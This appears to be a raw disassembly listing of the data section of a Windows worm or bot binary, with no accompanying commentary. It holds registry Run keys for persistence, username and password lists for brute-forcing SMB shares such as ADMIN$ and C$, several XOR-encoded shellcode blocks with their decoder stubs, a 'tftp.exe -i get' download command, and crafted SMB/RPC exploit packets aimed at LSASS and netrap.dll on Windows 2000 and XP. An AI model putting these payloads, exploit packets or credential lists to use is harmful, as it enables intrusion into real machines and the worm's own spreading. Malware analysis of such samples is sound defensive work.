sub_4089DC+581Eo align 4 dword_42BFDC dd 15h ; DATA XREF: sub_4089DC+5829r aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .data:off_42B3CCo align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_40FE91+23o ; sub_4101B8+23o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_40FE91+D5o ; sub_4101B8+D5o align 4 off_42C088 dd offset aAdministrato_0 ; DATA XREF: .text:0041428Br ; .text:00414293o ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 8 dword_42C0D8 dd 420AEAh ; DATA XREF: .text:loc_413BFEr ; .text:00413C0Do ... dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_0 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell_0 ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 8 dword_42C308 dd 10h ; DATA XREF: sub_401DEF+8Cw ; sub_4089DC+804r ... align 10h dword_42C310 dd 736E6F63h ; DATA XREF: sub_40FC7C+11r dd 74h, 0 dword_42C31C dd 1 ; DATA XREF: sub_40FC7C:loc_40FCC5r off_42C320 dd offset sub_40F961 ; DATA XREF: sub_40FC7C+6Cr aLetter db 'letter',0 align 10h dd 2, 40F9BFh, 706D6F63h, 2 dup(0) dd 3, 40FA0Ch, 6E756F63h, 797274h, 0 dd 4, 40FA7Bh, 736Fh, 2 dup(0) dd 5, 40FAF0h dword_42C374 dd 1D4C0h ; DATA XREF: sub_4104D1+10r off_42C378 dd offset aIpc ; DATA XREF: sub_40FE91:loc_410047r ; sub_40FE91+1C4r ... ; "IPC$" dword_42C37C dd 0 ; DATA XREF: sub_4101B8:loc_41033Ar dd offset aAdmin_0 ; "ADMIN$" align 8 dd offset aC_3 ; "C$" dd offset aC_2 ; "C:\\" dd offset aD_3 ; "D$" dd offset aD_2 ; "D:\\" ; --------------------------------------------------------------------------- loc_42C398: ; DATA XREF: sub_410B55+C0o jmp short loc_42C39C ; --------------------------------------------------------------------------- loc_42C39A: ; CODE XREF: .data:loc_42C39Cp jmp short loc_42C3A1 ; --------------------------------------------------------------------------- loc_42C39C: ; CODE XREF: .data:loc_42C398j call loc_42C39A loc_42C3A1: ; CODE XREF: .data:loc_42C39Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_42C3A6 dw 0FFFFh ; DATA XREF: sub_410B55:loc_410C08w db 80h, 73h, 0Eh byte_42C3AB db 0FFh ; DATA XREF: sub_410B55+BAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_42C3B0: ; DATA XREF: sub_410B55+9Co jmp short loc_42C3B4 ; --------------------------------------------------------------------------- loc_42C3B2: ; CODE XREF: .data:loc_42C3B4p jmp short loc_42C3B9 ; --------------------------------------------------------------------------- loc_42C3B4: ; CODE XREF: .data:loc_42C3B0j call loc_42C3B2 loc_42C3B9: ; CODE XREF: .data:loc_42C3B2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_42C3BD db 0FFh ; DATA XREF: sub_410B55+A1w dw 7380h db 0Ch byte_42C3C1 db 0FFh ; DATA XREF: sub_410B55+A7w dw 0E243h dd 0F9h dword_42C3C8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_410A42+72o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_42C42C dd 12h ; DATA XREF: sub_410A42+4Aw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_410A42+96o aJ_0 db 'j',0 db 0E8h dword_42C445 dd 17h ; DATA XREF: sub_410A42+5Ew ; --------------------------------------------------------------------------- jnz short near ptr byte_42C44C retn ; --------------------------------------------------------------------------- byte_42C44C db 0E8h ; CODE XREF: .data:0042C449j dword_42C44D dd 1 ; DATA XREF: sub_410A42+55w byte_42C451 db 0, 6Ah, 0 ; DATA XREF: sub_410A42+ECo dd 7E8h db 0, 0Fh, 84h dword_42C45B dd 0FFFFFFEDh ; DATA XREF: sub_410A42+67w ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h loc_42C490: ; DATA XREF: sub_4125E5:loc_4126FEo mov edi, ecx xor al, al inc al repne scasb jmp edi ; --------------------------------------------------------------------------- align 10h a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_4125E5+18Bo db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah db '<g:sql>',0Dh,0Ah db 'Select "DAV:displayname" from scope()',0Dh,0Ah db '</g:sql>',0Dh,0Ah db '</g:searchrequest>',0Dh,0Ah,0 ; --------------------------------------------------------------------------- jmp short loc_42C53A ; =============== S U B R O U T I N E ======================================= sub_42C52A proc far ; CODE XREF: sub_42C52A:loc_42C53Ap pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_42C532: ; CODE XREF: sub_42C52A+Cj xor byte ptr [ebx+ecx], 99h loop loc_42C532 jmp short loc_42C53F ; --------------------------------------------------------------------------- loc_42C53A: ; CODE XREF: .data:0042C528j call near ptr sub_42C52A loc_42C53F: ; CODE XREF: sub_42C52A+Ej jo short loc_42C5A3 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_42C5C1 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_42C5A3: ; CODE XREF: sub_42C52A:loc_42C53Fj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_42C5C1: ; CODE XREF: sub_42C52A+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_42C52A endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_42C668: ; DATA XREF: sub_412F21+112o ; sub_412F21+1D9o jmp short loc_42C67A ; =============== S U B R O U T I N E ======================================= sub_42C66A proc near ; CODE XREF: sub_42C66A:loc_42C67Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_42C672: ; CODE XREF: sub_42C66A+Cj xor byte ptr [edx+ecx], 99h loop loc_42C672 jmp short loc_42C67F ; --------------------------------------------------------------------------- loc_42C67A: ; CODE XREF: .data:loc_42C668j call sub_42C66A loc_42C67F: ; CODE XREF: sub_42C66A+Ej jo short near ptr dword_42C5F8+1Eh cwde cdq cdq retn sub_42C66A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_42C718 dw 4B9Dh ; DATA XREF: sub_412F21+E5w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_42C800 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:0041339Fo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_42C890 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:004133CBo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_42C940 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:004133F3o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_42CA20 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_412F21+53o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_4: ; DATA XREF: sub_412F21+90o unicode 0, <C$>,0 a????? db '?????',0 dd 2 dup(0) dword_42CA88 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_412F21+28Bo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_42CAF8 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_412F21+2B2o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_42CBA0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_412F21+383o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_42CC20 dd offset loc_401495 ; DATA XREF: sub_412F21+3A6o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_42CCB8 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_412F21+2E2o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_42CD28 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_412F21+307o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_42CDA0 dd 0 ; DATA XREF: sub_412F21+32Co dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 2 dup(0) word_42CE28 dw 0AD9Dh ; DATA XREF: sub_412DDE+2Ar ; sub_412F21+CCr align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_42CE68 dd 1004600h ; DATA XREF: sub_412F21+10Cr ; sub_412F21+223r dd 1 aWin2kProfessio db 'Win2k Professional [universal] netrap.dll',0 align 10h dd 0 dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) ; --------------------------------------------------------------------------- loc_42CF20: ; DATA XREF: .text:00413643o ; .text:004136C1o jmp short loc_42CF32 ; =============== S U B R O U T I N E ======================================= sub_42CF22 proc near ; CODE XREF: sub_42CF22:loc_42CF32p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_42CF2A: ; CODE XREF: sub_42CF22+Cj xor byte ptr [edx+ecx], 99h loop loc_42CF2A jmp short loc_42CF37 ; --------------------------------------------------------------------------- loc_42CF32: ; CODE XREF: .data:loc_42CF20j call sub_42CF22 loc_42CF37: ; CODE XREF: sub_42CF22+Ej jo short near ptr dword_42CEA4+2Ah cwde cdq cdq retn sub_42CF22 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_42CFD0 dw 4B9Dh ; DATA XREF: .text:00413624w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_42D0B8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: .text:004137EEo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_42D148 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00413820o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 10h dd 2 dup(0) dword_42D1F8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0041384Bo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_42D2D8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:0041358Eo dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_5: ; DATA XREF: .text:004135D1o unicode 0, <C$>,0 a?????_0 db '?????',0 align 10h dword_42D340 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:004138A3o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 2 dup(0) dword_42D3B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:004138CEo dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_42D458 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00413902o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_42D4D8 dd offset loc_401495 ; DATA XREF: .text:00413932o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 2 dup(0) dword_42D570 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00413964o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 2 dup(0) dword_42D5E0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: .text:00413989o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dword_42D658 dd 0 ; DATA XREF: .text:004139AEo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0 align 8 dword_42D718 dd 1004600h ; DATA XREF: .text:00413693r ; .text:004136A9r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 3 dup(0) dd 9875h, 9873h off_42D7A8 dd offset sub_414D2D ; DATA XREF: sub_415D8Br dd offset nullsub_1 dd offset nullsub_1 align 10h dword_42D7C0 dd 19930520h, 3 dup(0) ; DATA XREF: sub_41586D+2o ; sub_415876+2o off_42D7D0 dd offset sub_415ED4 ; DATA XREF: sub_4160D0+1Cr dword_42D7D4 dd 2 ; DATA XREF: sub_41B3F9+50r ; sub_41B570+Er ... off_42D7D8 dd offset aNull_1 ; DATA XREF: sub_416492:loc_416858r ; sub_416492+4E4r ; "(null)" off_42D7DC dd offset aNull ; DATA XREF: sub_416492+2ACr ; "(null)" dword_42D7E0 dd 2 ; DATA XREF: sub_416C27+5r ; sub_416C27+16w ... align 10h dd 43h, 0 